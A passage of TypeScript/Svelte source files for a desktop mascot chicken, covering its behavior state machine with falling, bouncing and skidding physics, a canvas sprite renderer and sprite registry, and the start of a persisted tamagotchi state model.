// is alive: panic-flap wing-beats slow the descent on a speed-scaled,
// jittered cycle, faster-than-terminal tosses decay under drag, hard
// impacts bounce once and skid, and hard sideways throws ricochet off
// the surface's side bounds. On landing, a brief `land` behavior plays
// (the squash/spring render layer keys off rt.squashAt/impactVy), then
// idle. Dragging is always honored — pointer code calls
// forceBehavior('dragged'), which wins over any autonomous behavior or
// non-drag-breaking reaction.
import type { AnimName, BehaviorId, MascotRuntime } from './types'
import type { MascotModel } from './state.svelte'
// ─── tuning constants ────────────────────────────────────────────────────
const GRAVITY = 1400 // px/s^2 (gentle)
const TERMINAL_VY = 320 // px/s (slow flutter fall)
// A fall can exceed TERMINAL_VY (a hard downward toss); instead of a
// hard clamp, drag pulls it back toward terminal at this rate, so a
// fling reads fast-then-settling instead of unnaturally capped.
const SUPER_TERMINAL_DRAG = 1000 // px/s^2
const WALK_SPEED = 36 // px/s
const MARGIN = 24 // px before the surface edge where wander flips facing
// Falling is a series of glide/flap sub-phases, not a flat monotonic drop:
// every flapCycleMs, a wing-beat impulse briefly cuts the descent speed
// (a real, if losing, attempt at flight), and the animation swaps to `flap`
// for the FLAP_BURST_MS right after each impulse. The cycle is DYNAMIC —
// the faster the descent, the more frantic the flapping (scheduleFlap
// below), with jitter so it never reads metronomic. A gentle sine wobble
// adds horizontal drift so the fall isn't perfectly vertical either. See
// stepMascot()'s 'falling' case and the `falling` BehaviorDef below.
const FLAP_CYCLE_MIN_MS = 330 // frantic (fast descent)
const FLAP_CYCLE_MAX_MS = 600 // lazy (slow flutter)
const FLAP_BURST_MS = 160
const FLAP_IMPULSE = 260 // px/s shaved off vy at the start of each cycle
const FLAP_MAX_LIFT = -150 // px/s — how negative (upward) a flap may push vy
const WOBBLE_VX = 22 // px/s amplitude of the sideways drift while falling
const VX_DECAY_PER_S = 1.4 // exponential decay rate for toss/drift vx
// Impact bounce: a round fluffy body, not a rock. A hard-enough impact
// bounces once (diminished), then lands. The contact squash is rendered
// by Mascot.svelte's spring from rt.squashAt/impactVy.
const BOUNCE_MIN_VY = 250 // px/s impact below which there's no bounce
const BOUNCE_RESTITUTION = 0.34
const BOUNCE_MAX = 1
// Landing skid: real sideways momentum survives touchdown as a short
// friction slide instead of the old dead stop.
const SKID_MIN_VX = 140 // px/s — slower sideways landings just stop
const SKID_ENTRY_MAX = 420 // px/s — cap on carried-in skid speed
const SKID_KEEP = 0.5 // fraction of touchdown vx kept as skid
const SKID_FRICTION = 900 // px/s^2
// Wall ricochet: hard sideways throws bounce off the surface's side
// bounds mid-fall; a gentle drift still just stops at the margin.
const WALL_BOUNCE_MIN_VX = 150 // px/s
const WALL_BOUNCE_RESTITUTION = 0.45
// Hop: a small autonomous forward hop (chickens hop!) — real projectile
// motion, no flapping. If the ground drops out mid-hop (hopped off a
// window edge), stepMascot hands off to a real fall.
const HOP_VY = 210 // px/s takeoff speed
const HOP_VX = 70 // px/s forward speed
const HOP_BACKSTOP_MS = 900 // behaviorUntil backstop; real exit is on landing
// Ground tracking: Mascot.svelte's tick() chases the ground line (the top
// of whatever window/surface is beneath the mascot) each frame. A small
// per-tick change (a window being dragged smoothly, with the mascot riding
// along) follows instantly; anything the ground drops away by more than
// this is treated as the surface disappearing — falling takes over instead
// of snapping. See GROUND_FOLLOW_MAX_STEP/GROUND_DROP_FALL_PX in Mascot.svelte.
// Default durations (ms) for self-selecting behaviors. Each BehaviorDef
// can override with its own minMs/maxMs.
const IDLE_MS = [1500, 4000] as const
const WANDER_MS = [2500, 5000] as const
const PECK_MS = [1200, 2200] as const
const SLEEP_MS = [6000, 12000] as const
const LAND_MS = 400
const REACT_DEFAULT_MS = 1800
// Idle chatter: very occasional, unprompted, purely cosmetic one-liners —
// no signal value, just personality. Rolled once each time `idle` is
// (re-)entered, gated by both a probability and a cooldown so it stays
// rare rather than firing on every idle cycle (idle gets re-picked often
// by the weighted-random selector). See the `idle` BehaviorDef below.
const IDLE_CHATTER_CHANCE = 0.12
const IDLE_CHATTER_COOLDOWN_MS = 25_000
const IDLE_CHATTER_DURATION_MS = 2200
const IDLE_CHATTER_LINES = [
'🐔 Bawk.',
"💭 Wonder what's up on hubris…",
'🌾 Any seeds around?',
'😌 Nice day for uptime.',
'📦 So many containers…',
'☁️ Backup time yet?',
'🥚 Remember when I was an egg?',
'🔧 *pecks at nothing in particular*',
'🐧 Penguins are cool too, I guess.'
]
// Module-level (not per-runtime) since there's only ever one mascot —
// matches stimuli.ts's own module-level cooldown tracking.
let lastChatterAt = 0
// ─── BehaviorDef ─────────────────────────────────────────────────────────
export interface BehaviorDef {
id: BehaviorId
/** Animation to play while this behavior is active. May depend on runtime state (e.g. facing). */
anim: (rt: MascotRuntime, model: MascotModel) => AnimName
/** Called once when the behavior is entered (set up velocity, etc). */
enter?: (rt: MascotRuntime) => void
/** Per-frame physics/integration. `dt` is already clamped to <= 100ms by the loop. */
tick: (rt: MascotRuntime, dt: number, now: number) => void
/** Called when behaviorUntil has passed; returns the next behavior id, or null to trigger idle selection. */
next: (rt: MascotRuntime, now: number) => BehaviorId | null
/** Idle-selection weight (>0 = eligible). Undefined/0 = never auto-picked. */
weight?: number
/** Duration range in ms for this behavior when auto-selected. */
minMs: number
maxMs: number
}
function randRange(min: number, max: number): number {
return min + Math.random() * (max - min)
}
function pickWeighted(candidates: BehaviorDef[]): BehaviorDef {
const total = candidates.reduce((s, b) => s + (b.weight ?? 0), 0)
let r = Math.random() * total
for (const b of candidates) {
r -= b.weight ?? 0
if (r <= 0) return b
}
return candidates[0]
}
// ─── ground / bounds helpers ─────────────────────────────────────────────
/**
* (Re)start a flap cycle: records `now` as the last wing-beat and picks
* the next cycle length from the CURRENT descent speed — a fast fall
* (hard toss) flaps frantically, a gentle flutter flaps lazily — plus
* ±15% jitter so the rhythm never sounds like a metronome.
*/
function scheduleFlap(rt: MascotRuntime, now: number): void {
rt.fallPhaseAt = now
const speedFactor = Math.max(0, Math.min(1, rt.vy / TERMINAL_VY))
const base = FLAP_CYCLE_MAX_MS - speedFactor * (FLAP_CYCLE_MAX_MS - FLAP_CYCLE_MIN_MS)
rt.flapCycleMs = base * (0.85 + Math.random() * 0.3)
}
function groundY(rt: MascotRuntime): number {
// rt.groundY is recomputed each tick by Mascot.svelte from the window
// state — it's the top edge of the highest window beneath the mascot,
// or rt.bounds.h (surface bottom) when no window is beneath.
return rt.groundY
}
function clampX(rt: MascotRuntime): void {
const minX = MARGIN / 2
const maxX = rt.bounds.w - MARGIN / 2
if (rt.x < minX) {
rt.x = minX
rt.facing = 1
}
if (rt.x > maxX) {
rt.x = maxX
rt.facing = -1
}
}
// ─── BEHAVIORS registry ───────────────────────────────────────────────────
export const BEHAVIORS: Record<BehaviorId, BehaviorDef> = {
egg: {
id: 'egg',
anim: () => 'egg-idle',
tick: () => {
// Egg doesn't move on its own.
},
next: () => 'egg',
minMs: 0,
maxMs: 0
},
idle: {
id: 'idle',
// Periodic blink: enter() sets blinkUntil to the START of the next
// blink window (26s away). anim() returns 'blink' when we're past
// that start but within 150ms of it. A chatter bubble (see enter()
// below) takes over the sprite for as long as it's showing — the
// mouth-flap 'talk' loop reads as the mascot actually saying the line
// instead of just standing there while text happens to appear above it.
anim: (rt) => {
if (rt.bubbleText) return 'talk'
const now = performance.now()
if (now >= rt.blinkUntil && now < rt.blinkUntil + 150) return 'blink'
return 'idle'
},
enter: (rt) => {
rt.blinkUntil = performance.now() + 2000 + Math.random() * 4000
// Idle chatter: rare, cosmetic-only bubble line (see the constants
// above). Doesn't touch the FSM/behavior at all, just the bubble.
const now = performance.now()
if (now - lastChatterAt > IDLE_CHATTER_COOLDOWN_MS && Math.random() < IDLE_CHATTER_CHANCE) {
lastChatterAt = now
rt.bubbleText = IDLE_CHATTER_LINES[Math.floor(Math.random() * IDLE_CHATTER_LINES.length)]
rt.bubbleUntil = now + IDLE_CHATTER_DURATION_MS
}
},
tick: () => {
// Standing still.
},
next: () => null,
weight: 3,
minMs: IDLE_MS[0],
maxMs: IDLE_MS[1]
},
wander: {
id: 'wander',
anim: () => 'walk',
enter: (rt) => {
rt.vx = rt.facing * WALK_SPEED
},
tick: (rt) => {
rt.x += rt.vx * (1 / 60) // dt is in seconds via the loop below; but tick receives ms — see stepMascot
// Actually the loop calls tick with dt in seconds; but to keep the
// BehaviorDef.tick signature consistent with the plan's `(rt, dt, now)`
// where dt is seconds-clamped, we'll re-derive below. The wander
// integration is redone in stepMascot to use dt correctly.
},
next: () => null,
weight: 4,
minMs: WANDER_MS[0],
maxMs: WANDER_MS[1]
},
peck: {
id: 'peck',
anim: () => 'peck',
tick: () => {
// Stationary peck animation.
},
next: () => null,
weight: 2,
minMs: PECK_MS[0],
maxMs: PECK_MS[1]
},
hop: {
id: 'hop',
// A little forward hop (chickens hop!). Real projectile motion —
// enter() throws it up-and-forward and stepMascot's 'hop' case
// integrates gravity until touchdown, which forces idle with a small
// landing squash (impactVy ≈ HOP_VY: light, no poof).
anim: () => 'flap',
enter: (rt) => {
rt.vy = -HOP_VY
rt.vx = rt.facing * HOP_VX
},
tick: () => {
// Integration happens in stepMascot (needs dt in seconds).
},
next: () => null,
weight: 2,
minMs: HOP_BACKSTOP_MS,
maxMs: HOP_BACKSTOP_MS * 2
},
sleep: {
id: 'sleep',
anim: () => 'sleep',
tick: () => {
// Asleep.
},
next: () => null,
weight: 1,
minMs: SLEEP_MS[0],
maxMs: SLEEP_MS[1]
},
dragged: {
id: 'dragged',
anim: () => 'dragged',
tick: () => {
// Position is owned by the pointer handler; nothing to do here.
},
next: () => null, // exited only via forceBehavior from pointerup
minMs: 0,
maxMs: 0
},
falling: {
id: 'falling',
// Flap briefly right after each wing-beat impulse (see stepMascot),
// glide the rest of the cycle.
anim: (rt) => (performance.now() - rt.fallPhaseAt < FLAP_BURST_MS ? 'flap' : 'fall-flutter'),
enter: (rt) => {
rt.bounceCount = 0
scheduleFlap(rt, performance.now())
// vx/vy are deliberately NOT reset here — they carry over from
// drag-release toss momentum (set by Mascot.svelte's onPointerUp)
// when falling starts from a throw, or stay at 0 when it starts from
// walking off an edge / a surface disappearing underfoot.
},
tick: () => {
// Integration happens in stepMascot (needs dt in seconds).
},
next: () => null, // exited via stepMascot when y reaches ground
minMs: 0,
maxMs: 0
},
land: {
id: 'land',
anim: () => 'land',
tick: () => {
// Brief squash animation.
},
// Routes to 'peck' instead of 'idle' when the drag that led here was
// released on top of a desktop icon (Mascot.svelte's onPointerUp sets
// investigateOnLand) — a little "investigate" reaction, whether the
// landing was immediate or came after a fall. Consumed once.
next: (rt) => {
if (rt.investigateOnLand) {
rt.investigateOnLand = false
return 'peck'
}
return 'idle'
},
minMs: LAND_MS,
maxMs: LAND_MS
},
react: {
id: 'react',
anim: (rt) => rt.reactAnim ?? 'idle',
tick: () => {
// Reaction plays its animation; no motion.
},
next: () => 'idle',
minMs: REACT_DEFAULT_MS,
maxMs: REACT_DEFAULT_MS
},
// Continuous engagement with the focused task window's active turn — not
// a timed pulse like `react` above. Entered/exited directly by
// MascotLayer's busy-state callback (see stimuli.ts's attachStimuli,
// second callback), which also keeps rt.busyTalking current every time
// the phase flips. No `weight` — never auto-picked by the idle selector,
// same as dragged/falling/land.
busy: {
id: 'busy',
anim: (rt) => (rt.busyTalking ? 'talk' : 'react-think'),
tick: () => {
// Stationary — just displays whichever sprite busyTalking selects.
},
// Only reached if something calls next() on it directly, which nothing
// does in practice: MascotLayer forces 'idle' itself the moment
// stimuli.ts reports the turn ended. Falling back to 'idle' here is
// just a safe default, not the real exit path.
next: () => 'idle',
minMs: 0,
maxMs: 0
}
}
// ─── stepMascot: the per-frame driver ────────────────────────────────────
/** Force a behavior. Used by pointer code (dragged), gravity (falling), stimuli (react). */
export function forceBehavior(
rt: MascotRuntime,
id: BehaviorId,
opts?: { anim?: AnimName; durationMs?: number }
): void {
rt.behavior = id
if (opts?.anim) {
if (id === 'react') rt.reactAnim = opts.anim
else {
// For non-react behaviors, override the anim by setting animStart on a custom anim.
rt.anim = opts.anim
rt.animStart = performance.now()
}
}
if (id === 'react' && opts?.anim) {
rt.anim = opts.anim
rt.animStart = performance.now()
}
const def = BEHAVIORS[id]
if (opts?.durationMs) {
rt.behaviorUntil = performance.now() + opts.durationMs
} else if (def.maxMs > 0) {
rt.behaviorUntil = performance.now() + randRange(def.minMs, def.maxMs)
} else {
rt.behaviorUntil = Number.POSITIVE_INFINITY
}
def.enter?.(rt)
}
/** Step the FSM by `dt` ms (already clamped by the loop to <= 100ms). */
export function stepMascot(
rt: MascotRuntime,
model: MascotModel,
now: number,
dt: number
): void {
const dts = dt / 1000
const def = BEHAVIORS[rt.behavior]
// Per-behavior physics integration. Done here (not in def.tick) so the
// dt semantics stay consistent — the BehaviorDef.tick is reserved for
// any bespoke per-frame logic a future behavior needs.
switch (rt.behavior) {
case 'wander': {
rt.x += rt.vx * dts
// Flip at margins.
if (rt.x < MARGIN / 2) {
rt.x = MARGIN / 2
rt.facing = 1
rt.vx = WALK_SPEED
} else if (rt.x > rt.bounds.w - MARGIN / 2) {
rt.x = rt.bounds.w - MARGIN / 2
rt.facing = -1
rt.vx = -WALK_SPEED
}
// If the mascot walks off a window edge (ground dropped below
// current y), switch to falling — it flutters down to the next
// surface beneath (another window, or the desktop bottom).
if (rt.y < groundY(rt) - 1) {
forceBehavior(rt, 'falling')
}
break
}
case 'idle': {
// Same edge-detection as wander: a window can close/move under the
// mascot while it's idling, dropping the ground out from under it.
if (rt.y < groundY(rt) - 1) {
forceBehavior(rt, 'falling')
}
break
}
case 'falling': {
// Wing-beat: every flapCycleMs (dynamic — see scheduleFlap), cut
// the descent speed sharply: a real (if losing) attempt at flight
// rather than a flat drop.
if (now - rt.fallPhaseAt >= rt.flapCycleMs) {
rt.vy = Math.max(FLAP_MAX_LIFT, rt.vy - FLAP_IMPULSE)
scheduleFlap(rt, now)
}
rt.vy += GRAVITY * dts
// Soft terminal: a fall moving faster than terminal (a hard
// downward toss) decays back toward it under drag instead of being
// hard-clamped mid-air.
if (rt.vy > TERMINAL_VY) {
rt.vy = Math.max(TERMINAL_VY, rt.vy - SUPER_TERMINAL_DRAG * dts)
}
// Toss/drift horizontal velocity decays so it doesn't carry forever,
// plus a gentle sideways wobble so even a straight-down drop isn't
// perfectly vertical.
rt.vx *= Math.max(0, 1 - VX_DECAY_PER_S * dts)
const wobble = Math.sin(now / 260) * WOBBLE_VX
rt.x += (rt.vx + wobble) * dts
rt.y += rt.vy * dts
// Face the direction of travel on real sideways tosses.
if (Math.abs(rt.vx) > 40) rt.facing = rt.vx > 0 ? 1 : -1
// Ricochet off the surface's side bounds on hard sideways throws
// (a gentle drift still just stops at the margin, via clampX).
const minX = MARGIN / 2
const maxX = rt.bounds.w - MARGIN / 2
if (rt.x <= minX && rt.vx < -WALL_BOUNCE_MIN_VX) {
rt.x = minX
rt.vx = -rt.vx * WALL_BOUNCE_RESTITUTION
} else if (rt.x >= maxX && rt.vx > WALL_BOUNCE_MIN_VX) {
rt.x = maxX
rt.vx = -rt.vx * WALL_BOUNCE_RESTITUTION
}
const gy = groundY(rt)
// Touchdown only while actually descending (vy > 0): a flap
// impulse or a post-bounce rise can briefly carry it upward at/below
// the ground line (or a window rising underneath can catch up to
// it) — those must not read as impacts.
if (rt.y >= gy && rt.vy > 0) {
rt.y = gy
const impact = rt.vy
if (impact >= BOUNCE_MIN_VY && rt.bounceCount < BOUNCE_MAX) {
// Hard impact: one soft, diminished bounce. The contact squash
// renders from squashAt/impactVy in Mascot.svelte; vx keeps
// decaying in the air for the second descent.
rt.bounceCount++
rt.vy = -impact * BOUNCE_RESTITUTION
rt.impactVy = impact * 0.8
rt.squashAt = now
} else {
rt.vy = 0
rt.impactVy = impact
rt.squashAt = now
// Carry real sideways momentum into a short friction skid
// instead of the old dead stop.
const av = Math.abs(rt.vx)
rt.vx =
av >= SKID_MIN_VX
? Math.sign(rt.vx) * Math.min(av, SKID_ENTRY_MAX) * SKID_KEEP
: 0
forceBehavior(rt, 'land', { durationMs: LAND_MS })
}
}
break
}
case 'hop': {
// A small forward hop — plain projectile integration, no flapping
// (too short). If the ground drops out mid-hop (it hopped off a
// window edge), hand off to a real fall.
rt.vy += GRAVITY * dts
rt.x += rt.vx * dts
rt.y += rt.vy * dts
const gy = groundY(rt)
if (rt.vy > 0 && gy - rt.y > 48) {
forceBehavior(rt, 'falling')
} else if (rt.y >= gy && rt.vy > 0) {
rt.y = gy
rt.impactVy = rt.vy
rt.squashAt = now
rt.vy = 0
rt.vx = 0
forceBehavior(rt, 'idle')
}
break
}
case 'land': {
// Skid: leftover horizontal momentum from a sideways touchdown
// (set in the falling→land transition above) decays under friction.
if (rt.vx !== 0) {
rt.x += rt.vx * dts
const dec = SKID_FRICTION * dts
rt.vx = Math.abs(rt.vx) <= dec ? 0 : rt.vx - Math.sign(rt.vx) * dec
}
break
}
case 'dragged': {
// Position owned by pointer; just keep y clamped above ground so
// release-from-ground doesn't immediately enter falling.
break
}
default:
break
}
// Keep x in bounds for any behavior (defensive).
if (rt.behavior !== 'dragged') clampX(rt)
// Sync anim from the active behavior (unless it was overridden by a
// react/dragged force; reactAnim holds the override for `react`).
if (rt.behavior === 'react' && rt.reactAnim) {
rt.anim = rt.reactAnim
} else {
const a = def.anim(rt, model)
if (a !== rt.anim) {
rt.anim = a
rt.animStart = now
}
}
// Transition: only self-expiring behaviors (next() consult). dragged,
// falling, and hop manage their own exits (pointerup / touchdown).
if (rt.behavior === 'dragged' || rt.behavior === 'falling' || rt.behavior === 'hop') return
if (now < rt.behaviorUntil) return
const next = def.next(rt, now)
if (next) {
forceBehavior(rt, next)
} else {
// Idle-select a new behavior via weighted random over eligible entries.
const eligible = (Object.values(BEHAVIORS) as BehaviorDef[]).filter(
(b) => (b.weight ?? 0) > 0
)
if (eligible.length > 0) {
const picked = pickWeighted(eligible)
forceBehavior(rt, picked.id)
}
}
}
/** Helper: is the mascot currently in an interruptible autonomous behavior (not dragged)? */
export function isInterruptible(rt: MascotRuntime): boolean {
return rt.behavior !== 'dragged'
}
/** Helper: is the mascot currently asleep (used by stimuli to check interruptsSleep)? */
export function isAsleep(rt: MascotRuntime): boolean {
return rt.behavior === 'sleep'
}
/**
* Release from a drag: land immediately if already at/below ground, or
* start falling otherwise. `rt.vx`/`rt.vy` are expected to already hold the
* release's toss velocity (set by Mascot.svelte's onPointerUp from recent
* pointer-move samples) — they're carried into `falling`, not reset here.
*/
export function releaseFromDrag(rt: MascotRuntime): void {
const gy = groundY(rt)
if (rt.y >= gy) {
rt.y = gy
rt.vy = 0
rt.vx = 0
rt.impactVy = 0 // set down gently — no squash spring, no feather poof
rt.squashAt = performance.now()
forceBehavior(rt, 'land', { durationMs: LAND_MS })
} else {
forceBehavior(rt, 'falling')
}
}
/** Recompute ground clamp on resize: if the mascot was at the old ground, snap to the new ground. */
export function reground(rt: MascotRuntime, oldH: number): void {
const gy = groundY(rt)
if (rt.y >= oldH - 1) {
rt.y = gy
rt.vy = 0
} else if (rt.y > gy) {
rt.y = gy
rt.vy = 0
}
if (rt.behavior !== 'dragged') clampX(rt)
}

View File

@@ -0,0 +1,61 @@
// Stateless canvas painter for the mascot. Single render path: slice a
// 16x16 frame from a PNG sheet and draw it bottom-anchored, horizontally
// centered, optionally flipped (for left-facing) and optionally scaled
// (chick is smaller). Egg-stage sheets are also 16x16 PNGs (from the
// Onocentaur egg pack), so no special-case vector path is needed.
//
// The renderer is generic over the SPRITES registry — adding a new
// sheet to sprites.ts requires no change here.
import type { AnimDef, MascotStage } from './types'
import { getImage } from './sprites'
/**
* Logical canvas size (CSS px) the mascot is drawn onto. The sprite's
* feet land on the bottom row; the extra height above it (20x28, not
* 20x20) leaves a little headroom before the name label/reaction bubble
* (both real HTML elements floating above the canvas — see Mascot.svelte's
* template) start overlapping the sprite itself.
*/
export const CANVAS_W = 20
export const CANVAS_H = 28
/** Source frame size for the bundled sheets (px). */
const FRAME = 16
export interface DrawOpts {
/** Render scale; usually STAGE_SCALE[stage]. */
scale: number
/** Horizontal facing — when -1, draw the sheet mirrored. */
facing: 1 | -1
/** Wiggle phase (radians) for the egg wobble; ignored for chicken stages. 0 disables. */
wiggle: number
}
/** Draw one animation frame into the given 2D context (which is already sized CANVAS_W x CANVAS_H in CSS px). */
export function drawFrame(
ctx: CanvasRenderingContext2D,
_stage: MascotStage,
anim: AnimDef,
frameIdx: number,
opts: DrawOpts
): void {
ctx.clearRect(0, 0, CANVAS_W, CANVAS_H)
const img = anim.src ? getImage(anim.src) : null
if (!img) return // not yet loaded — skip; the loop picks it up next tick
const idx = Math.max(0, Math.min(frameIdx, anim.frames - 1))
const sx = idx * FRAME
const scale = opts.scale
const drawW = FRAME * scale
const drawH = FRAME * scale
// Bottom-anchor the 16x16 frame in the 20x20 canvas, then scale.
const dx = (CANVAS_W - drawW) / 2 + Math.sin(opts.wiggle) * 1.2
const dy = CANVAS_H - drawH
ctx.save()
if (opts.facing === -1) {
ctx.translate(CANVAS_W, 0)
ctx.scale(-1, 1)
}
ctx.imageSmoothingEnabled = false
ctx.drawImage(img, sx, 0, FRAME, FRAME, dx, dy, drawW, drawH)
ctx.restore()
}

View File

@@ -0,0 +1,141 @@
// Sprite registry. To add a new animation:
// 1. Add its name to `AnimName` in types.ts.
// 2. Add an entry under SPRITES[stage] here pointing at a 16x16-frame PNG sheet in /mascot/.
// 3. (Optional) Reference it from a behavior in behavior.ts or a reaction in stimuli.ts.
// `resolveAnim()` falls back to the stage's `idle` and finally a 1-frame
// placeholder, so a missing animation never crashes the renderer.
//
// Sheets are bundled at web/public/mascot/*.png (CC0, see
// web/public/mascot/LICENSE.txt). Each sheet is a horizontal strip of
// 16x16 px frames; the renderer slices frame `i` at x = i*16.
//
// Egg-stage animations come from the Onocentaur egg pack (single-frame
// 16x16 PNGs): an idle egg and shell halves (shown briefly at the hatch
// moment). The egg → chick transition fires on first naming (see
// state.svelte.ts), not on a timed incubation, so there's no progressive
// crack animation — the egg sits on egg-idle until the name dialog is
// submitted, then swaps to the chick. The egg-crack sheet is kept in the
// registry for future use but isn't selected by any behavior today.
import type { AnimDef, AnimName, MascotStage } from './types'
const EGG_IDLE: AnimDef = { src: '/mascot/egg-idle.png', frames: 1, fps: 1, loop: true }
const EGG_SHELL: AnimDef = { src: '/mascot/egg-shell.png', frames: 1, fps: 1, loop: true }
export const SPRITES: Record<MascotStage, Partial<Record<AnimName, AnimDef>>> = {
egg: {
'egg-idle': EGG_IDLE,
'egg-wiggle': EGG_IDLE, // wiggle is applied as a render-time transform; no separate frame
hatch: EGG_SHELL,
dragged: EGG_IDLE,
'fall-flutter': EGG_IDLE,
land: EGG_IDLE
},
// Chick and adult share sheets; only the render scale differs.
chick: {
idle: { src: '/mascot/idle.png', frames: 4, fps: 6, loop: true },
blink: { src: '/mascot/blink.png', frames: 4, fps: 6, loop: true },
walk: { src: '/mascot/walk.png', frames: 4, fps: 8, loop: true },
peck: { src: '/mascot/peck.png', frames: 4, fps: 6, loop: true },
flap: { src: '/mascot/jump.png', frames: 4, fps: 8, loop: true },
sleep: { src: '/mascot/sleep.png', frames: 4, fps: 4, loop: true },
talk: { src: '/mascot/peep.png', frames: 2, fps: 6, loop: true },
dragged: { src: '/mascot/jump.png', frames: 4, fps: 8, loop: true },
'fall-flutter': { src: '/mascot/jump.png', frames: 4, fps: 10, loop: true },
land: { src: '/mascot/hurt.png', frames: 4, fps: 8, loop: false },
'react-think': { src: '/mascot/react-sigh.png', frames: 4, fps: 4, loop: true },
'react-eureka': { src: '/mascot/react-joy.png', frames: 4, fps: 6, loop: true },
'react-alarm': { src: '/mascot/react-yell.png', frames: 4, fps: 8, loop: true },
'react-happy': { src: '/mascot/react-joy.png', frames: 4, fps: 6, loop: true }
},
adult: {
idle: { src: '/mascot/idle.png', frames: 4, fps: 6, loop: true },
blink: { src: '/mascot/blink.png', frames: 4, fps: 6, loop: true },
walk: { src: '/mascot/walk.png', frames: 4, fps: 8, loop: true },
peck: { src: '/mascot/peck.png', frames: 4, fps: 6, loop: true },
flap: { src: '/mascot/jump.png', frames: 4, fps: 8, loop: true },
sleep: { src: '/mascot/sleep.png', frames: 4, fps: 4, loop: true },
talk: { src: '/mascot/peep.png', frames: 2, fps: 6, loop: true },
dragged: { src: '/mascot/jump.png', frames: 4, fps: 8, loop: true },
'fall-flutter': { src: '/mascot/jump.png', frames: 4, fps: 10, loop: true },
land: { src: '/mascot/hurt.png', frames: 4, fps: 8, loop: false },
'react-think': { src: '/mascot/react-sigh.png', frames: 4, fps: 4, loop: true },
'react-eureka': { src: '/mascot/react-joy.png', frames: 4, fps: 6, loop: true },
'react-alarm': { src: '/mascot/react-yell.png', frames: 4, fps: 8, loop: true },
'react-happy': { src: '/mascot/react-joy.png', frames: 4, fps: 6, loop: true }
}
}
// Render scale per stage. The asset pack has one chicken size; the chick
// and adult both render at full scale (1.0) — downscaling to 0.75 for the
// chick looked blurry on high-DPI displays. The stage is conveyed by the
// tamagotchi model + behavior, not by sprite size.
export const STAGE_SCALE: Record<MascotStage, number> = {
egg: 1,
chick: 1,
adult: 1
}
const PLACEHOLDER: AnimDef = { src: '/mascot/idle.png', frames: 4, fps: 6, loop: true }
/** Resolve an animation for a stage, falling back to the stage's idle, then a placeholder. */
export function resolveAnim(stage: MascotStage, name: AnimName): AnimDef {
const set = SPRITES[stage]
const direct = set[name]
if (direct) return direct
if (name !== 'idle') {
const idle = set.idle
if (idle) return idle
}
return PLACEHOLDER
}
/** Pick which frame of an AnimDef to draw at time `now` (ms). */
export function frameIndex(anim: AnimDef, now: number, animStart: number): number {
const elapsed = now - animStart
if (anim.frames <= 1) return 0
const idx = Math.floor((elapsed / 1000) * anim.fps)
if (anim.loop) return ((idx % anim.frames) + anim.frames) % anim.frames
return Math.min(idx, anim.frames - 1)
}
// ─── Image cache / loader ────────────────────────────────────────────────
// PNG sheets are loaded once into HTMLImageElement instances and reused.
// `loadSprites()` is called from Mascot.svelte on mount; `getImage()`
// returns the cached element (or null if not yet loaded, in which case
// the renderer just skips that frame — the loop will pick it up next
// tick once the image arrives).
const imageCache = new Map<string, HTMLImageElement>()
function loadOne(src: string): Promise<HTMLImageElement> {
const existing = imageCache.get(src)
if (existing && existing.complete) return Promise.resolve(existing)
return new Promise((resolve, reject) => {
const img = new Image()
img.src = src
img.onload = () => {
imageCache.set(src, img)
resolve(img)
}
img.onerror = () => reject(new Error(`mascot: failed to load ${src}`))
})
}
/** Preload every sheet referenced by SPRITES for the given stages (default: all). */
export async function loadSprites(stages: MascotStage[] = ['egg', 'chick', 'adult']): Promise<void> {
const srcs = new Set<string>()
for (const stage of stages) {
for (const anim of Object.values(SPRITES[stage])) {
if (anim && anim.src) srcs.add(anim.src)
}
}
await Promise.all([...srcs].map(loadOne))
}
/** Get a cached sheet image, or null if not yet loaded. */
export function getImage(src: string): HTMLImageElement | null {
const img = imageCache.get(src)
if (!img || !img.complete) return null
return img
}

View File

@@ -0,0 +1,208 @@
// Tamagotchi model: long-lived, persisted, slow-moving state (separate
// from the per-frame MascotRuntime in behavior.ts). Backed by a runes
// `$state` at module scope, mutators exported as functions, debounced
// localStorage persistence mirroring stores/windows.ts' 300ms cadence.
//
// Persistence schema lives at localStorage['oikos-mascot'] and is
// versioned via the `version` field; `migrate(raw)` is the stub where
// future schema changes go (v1 has no migrations to perform).
//
// Multi-tab races (two tabs both writing 'oikos-mascot') are
// last-writer-wins — accepted for v1, not solved. A future pass could
// listen to the `storage` event if it becomes a real problem.
import type { MascotStage } from './types'
const STORAGE_KEY = 'oikos-mascot'
const PERSIST_DEBOUNCE_MS = 300
export interface MascotModel {
version: 1
stage: MascotStage
name: string | null
/** Binary egg-hatch flag: 0 until first naming, 1 after. The egg → chick transition fires on naming, not on a timer. */
hatchProgress: number
/** 0..100, slow decay, boosted by pet/feed. */
happiness: number
/** Chick -> adult growth hook; reactions like `eureka` grant xp. */
xp: number
/** epoch ms when the egg hatched (chick/adult), null while still an egg. */
hatchedAt: number | null
/** Persisted rest x position (surface-relative) so the mascot doesn't reset to center on reload. */
lastPos: { x: number } | null
/** epoch ms of the last foreground tick — for capping passive decay. */
lastSeen: number
}
/** XP required to graduate from chick to adult. */
export const ADULT_XP = 200
function defaultModel(): MascotModel {
return {
version: 1,
stage: 'egg',
name: null,
hatchProgress: 0,
happiness: 50,
xp: 0,
hatchedAt: null,
lastPos: null,
lastSeen: Date.now()
}
}
// Module-scoped rune. Mutators below mutate this in place (Object.assign
// / direct property writes); Svelte's reactivity tracks deep property
// access in components that read it. `const` because the binding itself
// is never reassigned — only its properties are.
const model: MascotModel = $state(defaultModel())
// ─── load / migrate / persist ────────────────────────────────────────────
function migrate(raw: unknown): MascotModel {
// v1 has no migrations to perform; this stub documents where future
// version-gated schema changes go (switch on `raw.version`).
if (raw && typeof raw === 'object') {
const r = raw as Partial<MascotModel>
if (r.version === 1) {
return { ...defaultModel(), ...r, version: 1 } as MascotModel
}
}
return defaultModel()
}
function load(): MascotModel {
if (typeof localStorage === 'undefined') return defaultModel()
const raw = localStorage.getItem(STORAGE_KEY)
if (!raw) return defaultModel()
try {
return migrate(JSON.parse(raw))
} catch {
return defaultModel()
}
}
let persistTimer: ReturnType<typeof setTimeout> | null = null
function schedulePersist(): void {
if (typeof localStorage === 'undefined') return
if (persistTimer) clearTimeout(persistTimer)
persistTimer = setTimeout(() => {
persistTimer = null
try {
localStorage.setItem(STORAGE_KEY, JSON.stringify(model))
} catch {
// quota / privacy mode — swallow; the model still lives in memory for this session
}
}, PERSIST_DEBOUNCE_MS)
}
function flushPersist(): void {
if (persistTimer) {
clearTimeout(persistTimer)
persistTimer = null
}
if (typeof localStorage !== 'undefined') {
try {
